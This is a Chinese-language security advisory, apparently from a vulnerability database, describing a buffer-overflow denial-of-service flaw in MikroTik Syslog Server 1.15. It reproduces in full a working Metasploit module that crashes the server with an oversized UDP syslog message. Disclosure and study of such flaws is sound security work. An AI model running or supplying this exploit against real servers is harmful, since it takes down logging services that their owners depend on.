MikroTik Syslog Server拒绝服务漏洞


发布日期:2013-04-22
更新日期:2013-04-30

受影响系统:
MikroTik Syslog Server 1.15
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 59440
 
MikroTik Syslog Server是系统日志守护程序。
 
MikroTik Syslog 1.15及其他版本在处理较长的syslog消息时存在错误,较长的系统日志消息会覆盖已经分配的缓冲区空间,造成套接字错误。此漏洞可造成应用崩溃。
 
<*来源:xis_one
 
  链接:http://www.exploit-db.com/exploits/24968/
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
require 'msf/core'

 class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::Udp
    include Msf::Auxiliary::Dos

    def initialize
        super(
            'Name'        => 'Mikrotik Syslog Server for Windows - remote BOF DOS',
            'Description' => %q{
                    This module triggers the windows socket error WSAEMSGSIZE (message to long)
                                        in the Mikrotik Syslog Server for Windows v 1.15 and crashes it.
                                        The long syslog message overwrite the allocated buffer space causing the socket error.
                                           
            },
            'Author'      => 'xis_one@STM Solutions',
            'License'    => MSF_LICENSE,
            'DisclosureDate' => 'Apr 19 2013')

        register_options(
            [
                Opt::RPORT(514)
            ])
    end

    def run
        connect_udp
        pkt = "<0>" + "Apr19 " +  "10.0.0.2 " + "badass" + ": " + "A"*5000
        print_status("Crashing the remote Mikrotik syslog server #{rhost}")
        udp_sock.put(pkt)
        disconnect_udp
    end
 end

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
MikroTik
 --------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.mikrotik.com/download/MT_Syslog.exe

相关内容

    暂无相关文章